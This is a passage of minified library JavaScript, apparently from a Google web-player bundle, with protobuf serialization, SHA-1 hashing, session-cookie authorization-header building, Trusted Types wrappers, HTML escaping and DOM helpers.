Z<240?I>=T-1?AM():(e=x[I++],(e&192)!==128||Z===224&&e<160||Z===237&&e>=160||((H=x[I++])&192)!==128?(I--,AM()):t.push((Z&15)<<12|(e&63)<<6|H&63)):Z<=244?I>=T-2?AM():(e=x[I++],(e&192)!==128||(Z<<28)+(e-144)>>30!==0||((H=x[I++])&192)!==128||((u=x[I++])&192)!==128?(I--,AM()):(Z=(Z&7)<<18|(e&63)<<12|(H&63)<<6|u&63,Z-=65536,t.push((Z>>10&1023)+55296,(Z&1023)+56320))):AM(),t.length>=8192&&(E=vq4(E,t),t.length=0);I=vq4(E,t)}return I};
hYX=function(x){var T=UB(x.C)>>>0;return rmv(x.C,T)};
ag=function(x,T,t){this.Ue=Vd(x,T,t)};
vuv=function(x,T){if(T==null||T=="")return new x;T=JSON.parse(T);if(!Array.isArray(T))throw Error("dnarr");Gq(T,32);return new x(T)};
g9=function(x,T){this.Z=x>>>0;this.C=T>>>0};
Gqv=function(x){if(!x)return VQX||(VQX=new g9(0,0));if(!/^\d+$/.test(x))return null;uV(x);return new g9(wH,Xo)};
BP=function(x,T){this.Z=x>>>0;this.C=T>>>0};
nuC=function(x){if(!x)return LuC||(LuC=new BP(0,0));if(!/^-?\d+$/.test(x))return null;uV(x);return new BP(wH,Xo)};
WP=function(){this.C=[]};
DI=function(x,T,t){for(;t>0||T>127;)x.C.push(T&127|128),T=(T>>>7|t<<25)>>>0,t>>>=7;x.C.push(T)};
yj=function(x,T){for(;T>127;)x.C.push(T&127|128),T>>>=7;x.C.push(T)};
aw3=function(x,T){if(T>=0)yj(x,T);else{for(var t=0;t<9;t++)x.C.push(T&127|128),T>>=7;x.C.push(1)}};
NQ=function(x,T){x.C.push(T>>>0&255);x.C.push(T>>>8&255);x.C.push(T>>>16&255);x.C.push(T>>>24&255)};
guV=function(){this.j=[];this.Z=0;this.C=new WP};
JZ=function(x,T){T.length!==0&&(x.j.push(T),x.Z+=T.length)};
BHD=function(x,T){CU(x,T,2);T=x.C.end();JZ(x,T);T.push(x.Z);return T};
WuX=function(x,T){var t=T.pop();for(t=x.Z+x.C.length()-t;t>127;)T.push(t&127|128),t>>>=7,x.Z++;T.push(t);x.Z++};
CU=function(x,T,t){yj(x.C,T*8+t)};
Dvf=function(x,T,t){if(t!=null){switch(typeof t){case "string":Gqv(t)}CU(x,T,1);switch(typeof t){case "number":x=x.C;xZ(t);NQ(x,wH);NQ(x,Xo);break;case "bigint":t=BigInt.asUintN(64,t);t=new g9(Number(t&BigInt(4294967295)),Number(t>>BigInt(32)));x=x.C;T=t.C;NQ(x,t.Z);NQ(x,T);break;default:t=Gqv(t),x=x.C,T=t.C,NQ(x,t.Z),NQ(x,T)}}};
Qj=function(x,T,t){CU(x,T,2);yj(x.C,t.length);JZ(x,x.C.end());JZ(x,t)};
pU=function(){function x(){throw Error();}
Object.setPrototypeOf(x,x.prototype);return x};
fU=function(x,T,t){this.U3=x;this.HX=T;x=Af3(OB);this.C=!!x&&t===x||!1};
w9=function(x,T){var t=t===void 0?OB:t;return new fU(x,T,t)};
NHV=function(x,T,t,u,H){T=ymf(T,u);T!=null&&(t=BHD(x,t),H(T,x),WuX(x,t))};
xN=function(x,T,t,u){var H=u[x];if(H)return H;H={};H.lbu=u;H.Iv=j2X(u[0]);var I=u[1],E=1;I&&I.constructor===Object&&(H.extensions=I,I=u[++E],typeof I==="function"&&(H.ip=!0,KU!=null||(KU=I),X6!=null||(X6=u[E+1]),I=u[E+=2]));for(var Z={};I&&Array.isArray(I)&&I.length&&typeof I[0]==="number"&&I[0]>0;){for(var e=0;e<I.length;e++)Z[I[e]]=I;I=u[++E]}for(e=1;I!==void 0;){typeof I==="number"&&(e+=I,I=u[++E]);var l=void 0;if(I instanceof fU)var m=I;else m=Jm3,E--;I=void 0;if((I=m)==null?0:I.C){I=u[++E];l=
u;var d=E;typeof I==="function"&&(I=I(),l[d]=I);l=I}I=u[++E];d=e+1;typeof I==="number"&&I<0&&(d-=I,I=u[++E]);for(;e<d;e++){var M=Z[e];l?t(H,e,m,l,M):T(H,e,m,M)}}return u[x]=H};
Q2f=function(x){return Array.isArray(x)?x[0]instanceof fU?x:[Cg4,x]:[x,void 0]};
ymf=function(x,T){if(x instanceof ag)return x.Ue;if(Array.isArray(x))return GH(x,T,!1)};
T1=function(x,T,t,u){var H=t.U3;x[T]=u?function(I,E,Z){return H(I,E,Z,u)}:H};
tG=function(x,T,t,u,H){var I=t.U3,E,Z;x[T]=function(e,l,m){return I(e,l,m,Z||(Z=xN(oI,T1,tG,u).Iv),E||(E=sb(u)),H)}};
sb=function(x){var T=x[pIq];if(T!=null)return T;var t=xN(oI,T1,tG,x);T=t.ip?function(u,H){return KU(u,H,t)}:function(u,H){for(var I=u[VE]|0;kqv(H)&&H.Z!=4;){var E=H.K,Z=t[E];
if(Z==null){var e=t.extensions;e&&(e=e[E])&&(e=OAJ(e),e!=null&&(Z=t[E]=e))}Z!=null&&Z(H,u,E)||(Z=H,E=Z.j,vP(Z),Z.DT?Z=void 0:(e=Z.C.C-E,Z.C.C=E,Z=rmv(Z.C,e)),E=u,Z&&((e=E[Jm])?e.push(Z):E[Jm]=[Z]))}I&8192&&Gq(u,34);return!0};
return x[pIq]=T};
OAJ=function(x){x=Q2f(x);var T=x[0].U3;if(x=x[1]){var t=sb(x),u=xN(oI,T1,tG,x).Iv;return function(H,I,E){return T(H,I,E,u,t)}}return T};
uW=function(x,T,t){x[T]=t.HX};
Hx=function(x,T,t,u){var H,I,E=t.HX;x[T]=function(Z,e,l){return E(Z,e,l,I||(I=xN($N,uW,Hx,u).Iv),H||(H=fwJ(u)))}};
fwJ=function(x){var T=x[wIC];if(!T){var t=xN($N,uW,Hx,x);T=function(u,H){return KuJ(u,H,t)};
x[wIC]=T}return T};
KuJ=function(x,T,t){for(var u=x[VE]|0,H=u&512?0:-1,I=x.length,E=I+(u&256?-1:0),Z=u&512?1:0;Z<E;Z++){var e=x[Z];if(e!=null){var l=Z-H,m=XIX(t,l);m&&m(T,e,l)}}if(u&256){u=x[I-1];for(var d in u)H=+d,Number.isNaN(H)||(I=u[H],I!=null&&(E=XIX(t,H))&&E(T,I,H))}if(x=CA(x))for(JZ(T,T.C.end()),t=0;t<x.length;t++)JZ(T,rH(x[t])||new Uint8Array(0))};
XIX=function(x,T){var t=x[T];if(t)return t;if(t=x.extensions)if(t=t[T]){t=Q2f(t);var u=t[0].HX;if(t=t[1]){var H=fwJ(t),I=xN($N,uW,Hx,t).Iv;t=x.ip?X6(I,H):function(E,Z,e){return u(E,Z,e,I,H)}}else t=u;
return x[T]=t}};
iW=function(x,T,t){if(Array.isArray(T)){var u=T[VE]|0;if(u&4)return T;for(var H=0,I=0;H<T.length;H++){var E=x(T[H]);E!=null&&(T[I++]=E)}I<H&&(T.length=I);t&&(LA(T,(u|5)&-6145),u&2&&Object.freeze(T));return T}};
II=function(x,T,t){return new fU(x,T,t)};
Eb=function(x,T,t){return new fU(x,T,t)};
qX=function(x,T,t){BB(x,x[VE]|0,T,t)};
ZZ=function(x,T,t){T=T==null||typeof T==="number"?T:T==="NaN"||T==="Infinity"||T==="-Infinity"?Number(T):void 0;T!=null&&(CU(x,t,1),x=x.C,t=x55||(x55=new DataView(new ArrayBuffer(8))),t.setFloat64(0,+T,!0),wH=t.getUint32(0,!0),Xo=t.getUint32(4,!0),NQ(x,wH),NQ(x,Xo))};
j7=function(x,T,t){T=Cb4(T);if(T!=null){switch(typeof T){case "string":nuC(T)}if(T!=null)switch(CU(x,t,0),typeof T){case "number":x=x.C;oy(T);DI(x,wH,Xo);break;case "bigint":t=BigInt.asUintN(64,T);t=new BP(Number(t&BigInt(4294967295)),Number(t>>BigInt(32)));DI(x.C,t.Z,t.C);break;default:t=nuC(T),DI(x.C,t.Z,t.C)}}};
e7=function(x,T,t){T=ZS(T);T!=null&&T!=null&&(CU(x,t,0),aw3(x.C,T))};
Tnf=function(x,T,t){T=T==null||typeof T==="boolean"?T:typeof T==="number"?!!T:void 0;T!=null&&(CU(x,t,0),x.C.C.push(T?1:0))};
oZD=function(x,T,t){T=YZ(T);T!=null&&Qj(x,t,nqv(T))};
tz4=function(x,T,t,u,H){T=ymf(T,u);T!=null&&(t=BHD(x,t),H(T,x),WuX(x,t))};
sy5=function(x){return function(){var T=new guV;KuJ(this.Ue,T,xN($N,uW,Hx,x));JZ(T,T.C.end());for(var t=new Uint8Array(T.Z),u=T.j,H=u.length,I=0,E=0;E<H;E++){var Z=u[E];t.set(Z,I);I+=Z.length}T.j=[t];return t}};
lW=function(x){return function(T){return vuv(x,T)}};
uV5=function(x){this.Ue=Vd(x)};
$55=function(x,T){return MQH(x,T,g9f)};
m$=function(x){this.Ue=Vd(x)};
dE=function(x){this.Ue=Vd(x)};
MX=function(x){this.Ue=Vd(x)};
AG=function(x){this.Ue=Vd(x)};
H7J=function(x){this.Ue=Vd(x)};
g.EZJ=function(x){var T=new AG;T=d9(T,1,x.Z);var t=i7V(x);T=MQH(T,t,wEv);t=[];for(var u=[],H=g.S(x.C.keys()),I=H.next();!I.done;I=H.next())u.push(I.value.split(","));for(H=0;H<u.length;H++){I=u[H];for(var E=x.K,Z=x.ph(I)||[],e=[],l=0;l<Z.length;l++){var m=Z[l],d=m&&m.C;m=new dE;switch(E){case 3:d=Number(d);Number.isFinite(d)&&T5(m,1,RI,PB(d));break;case 2:T5(m,2,RI,HB(Number(d)))}e.push(m)}E=e;for(Z=0;Z<E.length;Z++){e=E[Z];l=new MX;e=iX(l,dE,2,e);l=[];m=ISq(x);for(d=0;d<m.length;d++){var M=m[d],
A=I[d],R=new m$;switch(M){case 3:T5(R,1,Px,cB(String(A)));break;case 2:M=Number(A);Number.isFinite(M)&&T5(R,2,Px,q5(M));break;case 1:T5(R,3,Px,iV(A==="true"))}l.push(R)}EB(e,m$,1,l);t.push(e)}}EB(T,MX,4,t);return T};
qdV=function(x){if(!x)return"";if(/^about:(?:blank|srcdoc)$/.test(x))return window.origin||"";x.indexOf("blob:")===0&&(x=x.substring(5));x=x.split("#")[0].split("?")[0];x=x.toLowerCase();x.indexOf("//")==0&&(x=window.location.protocol+x);/^[\w\-]*:\/\//.test(x)||(x=window.location.href);var T=x.substring(x.indexOf("://")+3),t=T.indexOf("/");t!=-1&&(T=T.substring(0,t));t=x.substring(0,x.indexOf("://"));if(!t)throw Error("URI is missing protocol: "+x);if(t!=="http"&&t!=="https"&&t!=="chrome-extension"&&
t!=="moz-extension"&&t!=="file"&&t!=="android-app"&&t!=="chrome-search"&&t!=="chrome-untrusted"&&t!=="chrome"&&t!=="app"&&t!=="devtools")throw Error("Invalid URI scheme in origin: "+t);x="";var u=T.indexOf(":");if(u!=-1){var H=T.substring(u+1);T=T.substring(0,u);if(t==="http"&&H!=="80"||t==="https"&&H!=="443")x=":"+H}return t+"://"+T+x};
Z7m=function(){function x(){H[0]=1732584193;H[1]=4023233417;H[2]=2562383102;H[3]=271733878;H[4]=3285377520;m=l=0}
function T(d){for(var M=E,A=0;A<64;A+=4)M[A/4]=d[A]<<24|d[A+1]<<16|d[A+2]<<8|d[A+3];for(A=16;A<80;A++)d=M[A-3]^M[A-8]^M[A-14]^M[A-16],M[A]=(d<<1|d>>>31)&4294967295;d=H[0];var R=H[1],Y=H[2],b=H[3],z=H[4];for(A=0;A<80;A++){if(A<40)if(A<20){var F=b^R&(Y^b);var V=1518500249}else F=R^Y^b,V=1859775393;else A<60?(F=R&Y|b&(R|Y),V=2400959708):(F=R^Y^b,V=3395469782);F=((d<<5|d>>>27)&4294967295)+F+z+V+M[A]&4294967295;z=b;b=Y;Y=(R<<30|R>>>2)&4294967295;R=d;d=F}H[0]=H[0]+d&4294967295;H[1]=H[1]+R&4294967295;H[2]=
H[2]+Y&4294967295;H[3]=H[3]+b&4294967295;H[4]=H[4]+z&4294967295}
function t(d,M){if(typeof d==="string"){d=unescape(encodeURIComponent(d));for(var A=[],R=0,Y=d.length;R<Y;++R)A.push(d.charCodeAt(R));d=A}M||(M=d.length);A=0;if(l==0)for(;A+64<M;)T(d.slice(A,A+64)),A+=64,m+=64;for(;A<M;)if(I[l++]=d[A++],m++,l==64)for(l=0,T(I);A+64<M;)T(d.slice(A,A+64)),A+=64,m+=64}
function u(){var d=[],M=m*8;l<56?t(Z,56-l):t(Z,64-(l-56));for(var A=63;A>=56;A--)I[A]=M&255,M>>>=8;T(I);for(A=M=0;A<5;A++)for(var R=24;R>=0;R-=8)d[M++]=H[A]>>R&255;return d}
for(var H=[],I=[],E=[],Z=[128],e=1;e<64;++e)Z[e]=0;var l,m;x();return{reset:x,update:t,digest:u,Hi:function(){for(var d=u(),M="",A=0;A<d.length;A++)M+="0123456789ABCDEF".charAt(Math.floor(d[A]/16))+"0123456789ABCDEF".charAt(d[A]%16);return M}}};
etq=function(x,T,t){var u=String(g.BX.location.href);return u&&x&&T?[T,jyi(qdV(u),x,t||null)].join(" "):null};
jyi=function(x,T,t){var u=[],H=[];if((Array.isArray(t)?2:1)==1)return H=[T,x],g.lg(u,function(Z){H.push(Z)}),lSf(H.join(" "));
var I=[],E=[];g.lg(t,function(Z){E.push(Z.key);I.push(Z.value)});
t=Math.floor((new Date).getTime()/1E3);H=I.length==0?[t,T,x]:[I.join(":"),t,T,x];g.lg(u,function(Z){H.push(Z)});
x=lSf(H.join(" "));x=[t,x];E.length==0||x.push(E.join(""));return x.join("_")};
lSf=function(x){var T=Z7m();T.update(x);return T.Hi().toLowerCase()};
d5H=function(){var x=null;if(!m5J)return x;try{var T=function(t){return t};
x=m5J.createPolicy("goog#html",{createHTML:T,createScript:T,createScriptURL:T})}catch(t){}return x};
cx=function(){S7===void 0&&(S7=d5H());return S7};
YN=function(x){this.C=x};
Ub=function(x){var T=cx();return new YN(T?T.createScriptURL(x):x)};
bW=function(x){if(x instanceof YN)return x.C;throw Error("");};
rE=function(x){this.C=x};
g.z1=function(x){if(x instanceof rE)return x.C;throw Error("");};
kN=function(x){this.eD=x};
Fq=function(x){return new kN(function(T){return T.substr(0,x.length+1).toLowerCase()===x+":"})};
g.hG=function(x,T){T=T===void 0?Mzf:T;a:if(T=T===void 0?Mzf:T,!(x instanceof rE)){for(var t=0;t<T.length;++t){var u=T[t];if(u instanceof kN&&u.eD(x)){x=new rE(x);break a}}x=void 0}return x||ACm};
PVH=function(x){if(RtD.test(x))return x};
vx=function(x){return x instanceof rE?g.z1(x):PVH(x)};
g.VD=function(x,T){T=vx(T);T!==void 0&&(x.href=T)};
G1=function(x){this.C=x};
Ld=function(x){var T=cx();return new G1(T?T.createHTML(x):x)};
nd=function(x){if(x instanceof G1)return x.C;throw Error("");};
g.aI=function(x,T,t,u){T=vx(T);return T!==void 0?x.open(T,t,u):null};
gE=function(x){x=x===void 0?document:x;var T,t;x=(t=(T=x).querySelector)==null?void 0:t.call(T,"script[nonce]");return x==null?"":x.nonce||x.getAttribute("nonce")||""};
Bx=function(x){this.C=x};
Sd5=function(x){var T=cx();return new Bx(T?T.createScript(x):x)};
Wx=function(x){if(x instanceof Bx)return x.C;throw Error("");};
DZ=function(x){var T=gE(x.ownerDocument);T&&x.setAttribute("nonce",T)};
g.yD=function(x,T){x.src=bW(T);DZ(x)};
NX=function(){this.C=cC3[0].toLowerCase()};
YdH=function(x){var T="true".toString(),t=[new NX];if(t.length===0)throw Error("");if(t.map(function(u){if(u instanceof NX)u=u.C;else throw Error("");return u}).every(function(u){return"data-loaded".indexOf(u)!==0}))throw Error('Attribute "data-loaded" does not match any of the allowed prefixes.');
x.setAttribute("data-loaded",T)};
U5X=function(x){var T=g.yJ("window.location.href");x==null&&(x='Unknown Error of type "null/undefined"');if(typeof x==="string")return{message:x,name:"Unknown error",lineNumber:"Not available",fileName:T,stack:"Not available"};var t=!1;try{var u=x.lineNumber||x.line||"Not available"}catch(E){u="Not available",t=!0}try{var H=x.fileName||x.filename||x.sourceURL||g.BX.$googDebugFname||T}catch(E){H="Not available",t=!0}T=JG(x);if(!(!t&&x.lineNumber&&x.fileName&&x.stack&&x.message&&x.name)){t=x.message;
if(t==null){if(x.constructor&&x.constructor instanceof Function){if(x.constructor.name)t=x.constructor.name;else if(t=x.constructor,Cd[t])t=Cd[t];else{t=String(t);if(!Cd[t]){var I=/function\s+([^\(]+)/m.exec(t);Cd[t]=I?I[1]:"[Anonymous]"}t=Cd[t]}t='Unknown Error of type "'+t+'"'}else t="Unknown Error of unknown type";typeof x.toString==="function"&&Object.prototype.toString!==x.toString&&(t+=": "+x.toString())}return{message:t,name:x.name||"UnknownError",lineNumber:u,fileName:H,stack:T||"Not available"}}return{message:x.message,
name:x.name,lineNumber:x.lineNumber,fileName:x.fileName,stack:T}};
JG=function(x,T){T||(T={});T[QD(x)]=!0;var t=x.stack||"",u=x.cause;u&&!T[QD(u)]&&(t+="\nCaused by: ",u.stack&&u.stack.indexOf(u.toString())==0||(t+=typeof u==="string"?u:u.message+"\n"),t+=JG(u,T));x=x.errors;if(Array.isArray(x)){u=1;var H;for(H=0;H<x.length&&!(u>4);H++)T[QD(x[H])]||(t+="\nInner error "+u++ +": ",x[H].stack&&x[H].stack.indexOf(x[H].toString())==0||(t+=typeof x[H]==="string"?x[H]:x[H].message+"\n"),t+=JG(x[H],T));H<x.length&&(t+="\n... "+(x.length-H)+" more inner errors")}return t};
QD=function(x){var T="";typeof x.toString==="function"&&(T=""+x);return T+x.stack};
pd=function(x,T,t){return x.parseFromString(nd(T),t)};
g.Ob=function(x){return encodeURIComponent(String(x))};
fd=function(x){return decodeURIComponent(x.replace(/\+/g," "))};
wE=function(x){b7f.test(x)&&(x.indexOf("&")!=-1&&(x=x.replace(rC3,"&amp;")),x.indexOf("<")!=-1&&(x=x.replace(zt3,"&lt;")),x.indexOf(">")!=-1&&(x=x.replace(kH5,"&gt;")),x.indexOf('"')!=-1&&(x=x.replace(FSq,"&quot;")),x.indexOf("'")!=-1&&(x=x.replace(htf,"&#39;")),x.indexOf("\x00")!=-1&&(x=x.replace(vZv,"&#0;")));return x};
g.Kd=function(x){return x==null?"":String(x)};
Xq=function(x){for(var T=0,t=0;t<x.length;++t)T=31*T+x.charCodeAt(t)>>>0;return T};
xO=function(x){var T=Number(x);return T==0&&g.Y9(x)?NaN:T};
Vz3=function(x){return String(x).replace(/\-([a-z])/g,function(T,t){return t.toUpperCase()})};
GH4=function(){return"googleAvInapp".replace(/([A-Z])/g,"-$1").toLowerCase()};
LSC=function(x){return x.replace(RegExp("(^|[\\s]+)([a-z])","g"),function(T,t,u){return t+u.toUpperCase()})};
nZD=function(x){var T=1;x=x.split(":");for(var t=[];T>0&&x.length;)t.push(x.shift()),T--;x.length&&t.push(x.join(":"));return t};
T0=function(x){this.C=x||{cookie:""}};
oL=function(x){x=(x.C.cookie||"").split(";");for(var T=[],t=[],u,H,I=0;I<x.length;I++)H=ry(x[I]),u=H.indexOf("="),u==-1?(T.push(""),t.push(H)):(T.push(H.substring(0,u)),t.push(H.substring(u+1)));return{keys:T,values:t}};
aSv=function(){var x=g.BX.__SAPISID||g.BX.__APISID||g.BX.__3PSAPISID||g.BX.__1PSAPISID||g.BX.__OVERRIDE_SID;if(x)return!0;typeof document!=="undefined"&&(x=new T0(document),x=x.get("SAPISID")||x.get("APISID")||x.get("__Secure-3PAPISID")||x.get("__Secure-1PAPISID"));return!!x};
gZ5=function(x,T,t,u){(x=g.BX[x])||typeof document==="undefined"||(x=(new T0(document)).get(T));return x?etq(x,t,u):null};
Bnq=function(x){var T=qdV(String(g.BX.location.href)),t=[];if(aSv()){T=T.indexOf("https:")==0||T.indexOf("chrome-extension:")==0||T.indexOf("chrome-untrusted://new-tab-page")==0||T.indexOf("moz-extension:")==0;var u=T?g.BX.__SAPISID:g.BX.__APISID;u||typeof document==="undefined"||(u=new T0(document),u=u.get(T?"SAPISID":"APISID")||u.get("__Secure-3PAPISID"));(u=u?etq(u,T?"SAPISIDHASH":"APISIDHASH",x):null)&&t.push(u);T&&((T=gZ5("__1PSAPISID","__Secure-1PAPISID","SAPISID1PHASH",x))&&t.push(T),(x=gZ5("__3PSAPISID",
"__Secure-3PAPISID","SAPISID3PHASH",x))&&t.push(x))}return t.length==0?null:t.join(" ")};
tq=function(){};
sA=function(x){this.Ue=Vd(x)};
uu=function(x,T){this.intervalMs=x;this.callback=T;this.enabled=!1;this.C=function(){return g.x9()};
this.Z=this.C()};
$O=function(x){this.Ue=Vd(x)};
HR=function(x){this.Ue=Vd(x)};
g.iu=function(x,T,t){return Math.min(Math.max(x,T),t)};
g.IL=function(x,T){x%=T;return x*T<0?x+T:x};
Z3=function(x,T,t){return x+t*(T-x)};
g.jo=function(x,T){this.x=x!==void 0?x:0;this.y=T!==void 0?T:0};
eo=function(x,T){return x==T?!0:x&&T?x.x==T.x&&x.y==T.y:!1};
g.lu=function(x,T){this.width=x;this.height=T};
g.mK=function(x,T){return x==T?!0:x&&T?x.width==T.width&&x.height==T.height:!1};
dg=function(x){return x.width*x.height};
g.Mg=function(x,T,t){for(var u in x)T.call(t,x[u],u,x)};
g.Aq=function(x,T,t){var u={},H;for(H in x)T.call(t,x[H],H,x)&&(u[H]=x[H]);return u};
RL=function(x,T){var t={},u;for(u in x)t[u]=T.call(void 0,x[u],u,x);return t};
g.PR=function(x,T,t){for(var u in x)if(T.call(t,x[u],u,x))return!0;return!1};
WSV=function(x,T){for(var t in x)if(!T.call(void 0,x[t],t,x))return!1;return!0};
g.So=function(x){for(var T in x)return T};
D5m=function(x){for(var T in x)return x[T]};
g.cR=function(x){var T=[],t=0,u;for(u in x)T[t++]=x[u];return T};
g.YO=function(x){var T=[],t=0,u;for(u in x)T[t++]=u;return T};
g.UA=function(x,T){return x!==null&&T in x};
g.bu=function(x,T){for(var t in x)if(x[t]==T)return!0;return!1};
rg=function(x,T){for(var t in x)if(T.call(void 0,x[t],t,x))return t};
yCD=function(x,T){return(T=rg(x,T))&&x[T]};
g.z0=function(x){for(var T in x)return!1;return!0};
g.Nnf=function(x){for(var T in x)delete x[T]};
g.kO=function(x,T,t){return x!==null&&T in x?x[T]:t};
g.Fn=function(x,T){for(var t in x)if(!(t in T)||x[t]!==T[t])return!1;for(var u in T)if(!(u in x))return!1;return!0};
g.hq=function(x){var T={},t;for(t in x)T[t]=x[t];return T};
g.vR=function(x){if(!x||typeof x!=="object")return x;if(typeof x.clone==="function")return x.clone();if(typeof Map!=="undefined"&&x instanceof Map)return new Map(x);if(typeof Set!=="undefined"&&x instanceof Set)return new Set(x);if(x instanceof Date)return new Date(x.getTime());var T=Array.isArray(x)?[]:typeof ArrayBuffer!=="function"||typeof ArrayBuffer.isView!=="function"||!ArrayBuffer.isView(x)||x instanceof DataView?{}:new x.constructor(x.length),t;for(t in x)T[t]=g.vR(x[t]);return T};
g.V9=function(x,T){for(var t,u,H=1;H<arguments.length;H++){u=arguments[H];for(t in u)x[t]=u[t];for(var I=0;I<JCD.length;I++)t=JCD[I],Object.prototype.hasOwnProperty.call(u,t)&&(x[t]=u[t])}};
LI=function(x,T){this.C=x===G0&&T||""};
nI=function(x){if(x instanceof G1)return x;x=String(x).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&apos;");return Ld(x)};
CVX=function(x){var T=nI("");return Ld(x.map(function(t){return nd(nI(t))}).join(nd(T).toString()))};
wB3=function(x){var T;if(!Qym.test("div"))throw Error("");if(pB3.indexOf("DIV")!==-1)throw Error("");var t="<div";x&&(t+=O7C(x));Array.isArray(T)||(T=T===void 0?[]:[T]);fSC.indexOf("DIV")!==-1?t+=">":(x=CVX(T.map(function(u){return u instanceof G1?u:nI(String(u))})),t+=">"+x.toString()+"</div>");
return Ld(t)};
O7C=function(x){for(var T="",t=Object.keys(x),u=0;u<t.length;u++){var H=t[u],I=x[H];if(!Qym.test(H))throw Error("");if(I!==void 0&&I!==null){if(/^on./i.test(H))throw Error("");KSC.indexOf(H.toLowerCase())!==-1&&(I=I instanceof rE?I.toString():PVH(String(I))||"about:invalid#zClosurez");I=H+'="'+nI(String(I))+'"';T+=" "+I}}return T};
XBH=function(x){var T=g.FD.apply(1,arguments);if(T.length===0)return Ub(x[0]);for(var t=x[0],u=0;u<T.length;u++)t+=encodeURIComponent(T[u])+x[u+1];return Ub(t)};
BR=function(x){return x?new aL(gg(x)):xQH||(xQH=new aL)};
WR=function(x,T){return typeof T==="string"?x.getElementById(T):T};
g.D3=function(x,T){return(T||document).getElementsByTagName(String(x))};
g.y9=function(x,T){return(T||document).querySelectorAll("."+x)};
g.Q9=function(x,T){var t=T||document;t.getElementsByClassName?x=t.getElementsByClassName(x)[0]:(t=document,x=x?(T||t).querySelector(x?"."+x:""):g.CI(t,"*",x,T)[0]||null);return x||null};
g.CI=function(x,T,t,u){x=u||x;return(T=T&&T!="*"?String(T).toUpperCase():"")||t?x.querySelectorAll(T+(t?"."+t:"")):x.getElementsByTagName("*")};
pI=function(x,T){g.Mg(T,function(t,u){u=="style"?x.style.cssText=t:u=="class"?x.className=t:u=="for"?x.htmlFor=t:T9H.hasOwnProperty(u)?x.setAttribute(T9H[u],t):cE(u,"aria-")||cE(u,"data-")?x.setAttribute(u,t):x[u]=t})};
o1J=function(x){x=x.document;x=x.compatMode=="CSS1Compat"?x.documentElement:x.body;return new g.lu(x.clientWidth,x.clientHeight)};
sgH=function(x){var T=tgD(x);x=x.defaultView;return new g.jo(x.pageXOffset||T.scrollLeft,x.pageYOffset||T.scrollTop)};
tgD=function(x){return x.scrollingElement?x.scrollingElement:g.OA||x.compatMode!="CSS1Compat"?x.body||x.documentElement:x.documentElement};
fI=function(x){return x?x.defaultView:window};
KI=function(x,T,t){var u=arguments,H=document,I=u[1],E=wg(H,String(u[0]));I&&(typeof I==="string"?E.className=I:Array.isArray(I)?E.className=I.join(" "):pI(E,I));u.length>2&&u63(H,E,u,2);return E};
u63=function(x,T,t,u){function H(Z){Z&&T.appendChild(typeof Z==="string"?x.createTextNode(Z):Z)}
for(;u<t.length;u++){var I=t[u];if(!g.QJ(I)||g.p4(I)&&I.nodeType>0)H(I);else{a:{if(I&&typeof I.length=="number"){if(g.p4(I)){var E=typeof I.item=="function"||typeof I.item=="string";break a}if(typeof I==="function"){E=typeof I.item=="function";break a}}E=!1}g.lg(E?g.o2(I):I,H)}}};
g.Xn=function(x){return wg(document,x)};
wg=function(x,T){T=String(T);x.contentType==="application/xhtml+xml"&&(T=T.toLowerCase());return x.createElement(T)};
g.xU=function(x){return document.createTextNode(String(x))};
g.TA=function(x,T){x.appendChild(T)};
g.o0=function(x){for(var T;T=x.firstChild;)x.removeChild(T)};
tn=function(x,T,t){x.insertBefore(T,x.childNodes[t]||null)};
g.sm=function(x){return x&&x.parentNode?x.parentNode.removeChild(x):null};
g.ux=function(x,T){if(!x||!T)return!1;if(x.contains&&T.nodeType==1)return x==T||x.contains(T);if(typeof x.compareDocumentPosition!="undefined")return x==T||!!(x.compareDocumentPosition(T)&16);for(;T&&x!=T;)T=T.parentNode;return T==x};
gg=function(x){return x.nodeType==9?x:x.ownerDocument||x.document};
g.$U=function(x,T){if("textContent"in x)x.textContent=T;else if(x.nodeType==3)x.data=String(T);else if(x.firstChild&&x.firstChild.nodeType==3){for(;x.lastChild!=x.firstChild;)x.removeChild(x.lastChild);x.firstChild.data=String(T)}else g.o0(x),x.appendChild(gg(x).createTextNode(String(T)))};
HUf=function(x){return x.tagName=="A"&&x.hasAttribute("href")||x.tagName=="INPUT"||x.tagName=="TEXTAREA"||x.tagName=="SELECT"||x.tagName=="BUTTON"?!x.disabled&&(!x.hasAttribute("tabindex")||$Q3(x)):x.hasAttribute("tabindex")&&$Q3(x)};
$Q3=function(x){x=x.tabIndex;return typeof x==="number"&&x>=0&&x<32768};
ix=function(x,T,t){if(!T&&!t)return null;var u=T?String(T).toUpperCase():null;return HQ(x,function(H){return(!u||H.nodeName==u)&&(!t||typeof H.className==="string"&&g.wy(H.className.split(/\s+/),t))},!0)};
HQ=function(x,T,t){x&&!t&&(x=x.parentNode);for(t=0;x;){if(T(x))return x;x=x.parentNode;t++}return null};
aL=function(x){this.C=x||g.BX.document||document};
I0=function(x){this.Ue=Vd(x)};
Em=function(x){this.Ue=Vd(x)};
qL=function(x){this.Ue=Vd(x)};
iU4=function(x,T){EB(x,Em,1,T)};
ZY=function(x){this.Ue=Vd(x)};
E1J=function(x,T){T=T===void 0?IIi:T;if(!jM){var t;x=(t=x.navigator)==null?void 0:t.userAgentData;if(!x||typeof x.getHighEntropyValues!=="function"||x.brands&&typeof x.brands.map!=="function")return Promise.reject(Error("UACH unavailable"));t=(x.brands||[]).map(function(H){var I=new Em;I=d9(I,1,H.brand);return d9(I,2,H.version)});
iU4(WB(eM,2,iV(x.mobile)),t);jM=x.getHighEntropyValues(T)}var u=new Set(T);return jM.then(function(H){var I=eM.clone();u.has("platform")&&d9(I,3,H.platform);u.has("platformVersion")&&d9(I,4,H.platformVersion);u.has("architecture")&&d9(I,5,H.architecture);u.has("model")&&d9(I,6,H.model);u.has("uaFullVersion")&&d9(I,7,H.uaFullVersion);return I}).catch(function(){return eM.clone()})};
lx=function(x){this.Ue=Vd(x)};
qBf=function(x){this.Ue=Vd(x)};
m7=function(x){this.Ue=Vd(x,4)};
dv=function(x){this.Ue=Vd(x,36)};
ML=function(x){this.Ue=Vd(x,19)};
R0=function(x,T){this.rD=T=T===void 0?!1:T;this.uach=this.locale=null;this.Z=0;this.isFinal=!1;this.C=new ML;Number.isInteger(x)&&this.C.x_(x);T||(this.locale=document.documentElement.getAttribute("lang"));ZU5(this,new lx)};
